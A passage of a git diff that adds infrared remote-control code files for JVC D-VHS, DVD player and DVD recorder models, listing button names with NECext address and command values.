+# +name: DUBBING/NORMAL +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 08 00 00 00 +# +name: DUBBING/HIGH +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 09 00 00 00 +# +name: DECK2_DIRECTION_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: DECK2_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: DECK2_PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: DECK2_MUSIC_S._<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 18 00 00 00 +# +name: DECK2_MUSIC_S._>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 19 00 00 00 +# +name: DECK2_MUTE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 1C 00 00 00 +# +name: DECK_2 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 2D 00 00 00 +# +name: DECK1_REC +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 52 00 00 00 +# +name: DECK1_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 53 00 00 00 +# +name: DECK1_FF_>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 56 00 00 00 +# +name: DECK1_REW_<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 57 00 00 00 +# +name: DECK1_DIRECTION_<> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 5B 00 00 00 +# +name: DECK1_PLAY_> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 5C 00 00 00 +# +name: DECK1_PAUSE_ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 5D 00 00 00 +# +name: DECK1_MUSIC_S._<< +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 68 00 00 00 +# +name: DECK1_MUSIC_S._>> +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 69 00 00 00 +# +name: DECK1_MUTE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 6C 00 00 00 +# +name: DECK_1 +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 6D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir new file mode 100644 index 000000000..d92507709 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: FF>>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: REW_<<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: REC_LINK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 30 00 00 00 +# +name: REC_SPEED +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: HS/STD/LS/SP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 84 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C1 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: NAVI +type: parsed +protocol: NECext +address: 43 00 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir new file mode 100644 index 000000000..bd9aa8d7b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir new file mode 100644 index 000000000..c760b9d05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir @@ -0,0 +1,812 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 40 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: STOP/CLEAR +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: STOP_/_CLEAR +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 44 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 49 00 00 00 +# +name: RETURN_LOOP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 49 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: PLAY/SELECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: PLAY_/_SELECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4D 00 00 00 +# +name: PAUSE_/_STROBE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4D 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 51 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 54 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 5B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 60 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 61 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 62 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 63 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 64 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 65 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 66 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 67 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 69 00 00 00 +# +name: PLAY/PAUSE_> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6D 00 00 00 +# +name: 10_(0) +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6E 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6F 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6F 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SLOW- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: SEARCH_<<_/_SLOW_- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SLOW+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SEARCH_>>_/_SLOW_+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 7F 00 00 00 +# +name: CHOICE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 7F 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 90 00 00 00 +# +name: JOG_+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 92 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 98 00 00 00 +# +name: JOG_- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 9A 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: AE 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: AF 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: NEXT_>> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: >>_NEXT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: PREVIOUS_<< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: <<_PREVIOUS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B2 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B2 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B5 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B7 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B7 00 00 00 +# +name: DIGEST +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B9 00 00 00 +# +name: THUMBNAIL/LIST +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B9 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BB 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BC 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BD 00 00 00 +# +name: SOUND_EFFECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BD 00 00 00 +# +name: 3D_PHONIC +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BD 00 00 00 +# +name: VFP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: TH_POS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: VPF +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: VFP_I/P +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: VPF_PROGESS._SCAN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C0 00 00 00 +# +name: ON_SCREEN_DISPLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C0 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C1 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C1 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C1 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C2 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C2 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C2 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C8 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C8 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CB 00 00 00 +# +name: ANGLE_SIDE_EFFECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CB 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: SUB-TITLE_ON/OFF +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: SUB_TL +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: SUBTITLLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: SUB_TITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: UP_^ +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: CUSOR_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: DOWN_V +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: CUR_DWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: LEFT_< +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: CUR_LT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: RIGHT_> +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: CUR_RT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: ENTER/SELECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: CURSOR_-_SELECT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D5 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D8 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: DA 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: DB 00 00 00 +# +name: TITLE/GROUP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: EE 00 00 00 +# +name: TITLE_/_GROUP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: EE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir new file mode 100644 index 000000000..d17047265 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_-_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: POWER_-_6A +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: STOP_-_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: STOP_-_6A +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: OPEN/CLOSE_-_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: OPEN/CLOSE_-_6A +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: PLAY_-_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1C 00 00 00 +# +name: PLAY_-_6A +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir new file mode 100644 index 000000000..2adacd842 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_/_CLEAR +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 03 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 06 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 0B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 0D 00 00 00 +# +name: JUMP_- +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 0E 00 00 00 +# +name: JUMP_+ +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 0F 00 00 00 +# +name: TV_/_AV_/_VIDEO +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 13 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 14 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 15 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 19 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 29 00 00 00 +# +name: SAT_TIMER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 30 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 32 00 00 00 +# +name: 0_/_AUX +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 33 00 00 00 +# +name: DUBBING +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 34 00 00 00 +# +name: VPS_/_PDC_TIMER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 35 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 36 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 38 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 3C 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 3E 00 00 00 +# +name: HDD +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 44 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 80 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 81 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 82 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 84 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 86 00 00 00 +# +name: OPEN_/_CLOSE +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 87 00 00 00 +# +name: PROGRESSIVE_SCAN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 8E 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 8F 00 00 00 +# +name: MEMO_/_MARK +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 90 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 96 00 00 00 +# +name: ANGLE_/_LIVE_CHECK +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: C0 00 00 00 +# +name: PROGRAMME +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: C1 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: C4 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: CC 00 00 00 +# +name: RECORD_MODE +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: CC 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: D4 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: DC 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: DD 00 00 00 +# +name: NAVIGATION +type: parsed 